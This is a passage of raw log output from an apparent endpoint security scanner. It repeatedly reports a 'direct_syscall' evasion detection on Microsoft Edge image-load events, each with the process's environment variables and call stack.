LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdb996da2 C:\Windows\System32\powrprof.dll!PowerDeterminePlatformRole|0x7ffcdb99b1d2 C:\Windows\System32\powrprof.dll!PowerUnregisterFromEffectivePowerModeNotifications|0x7ffcdb999b5f C:\Windows\System32\powrprof.dll!PowerUnregisterFromEffectivePowerModeNotifications|0x7ffcdb99a2c6 C:\Windows\System32\powrprof.dll!PowerUnregisterFromEffectivePowerModeNotifications|0x7ffcdeb3f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffcde9ebcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffcde9e97ac C:\Windows\System32\ntdll.dll!RtlDeleteElementGenericTableAvlEx|0x7ffcdea776ea C:\Windows\System32\ntdll.dll!LdrGetProcedureAddressForCaller|0x7ffcdea76203 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddress|0x7ffcde9f6414 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdd17b2b2 C:\Windows\System32\user32.dll!SetSystemCursor|0x7ffcdd194191 C:\Windows\System32\user32.dll!WindowFromPoint|0x7ffcdd176945 C:\Windows\System32\user32.dll!RegisterPowerSettingNotification|0x7ffc8cec2612 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0be0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0ba8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec094a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4178767 + Pid: 7364 + Tid: 4644 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9614573 +0100 CET + Params: base_address➜ 7ffcd9730000, checksum➜ 8877403, default_address➜ 7ffcd9730000, file_path➜ C:\Windows\System32\windows.storage.dll, image_size➜ 8769536, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd6187d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd6172ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd616e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcc46fe053 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc46fbca6 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc46fbb90 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc4724877 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc47257e2 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcdda4b686 C:\Windows\System32\SHCore.dll!SHTaskPoolQueueTask|0x7ffcc4723d43 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc47255ac C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc46fbd88 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc4722784 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc47226fe C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffc8e8f279e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f25e2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f2222 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f21aa C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ebaa5d1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e735042 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4178854 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9644141 +0100 CET + Params: base_address➜ 7ffcdd040000, checksum➜ 899838, default_address➜ 7ffcdd040000, file_path➜ C:\Windows\System32\oleaut32.dll, image_size➜ 880640, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ EMBEDDED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc8ed526e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8fe05aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8fe037f1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8e5acca6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cec3a9d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec3701 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files 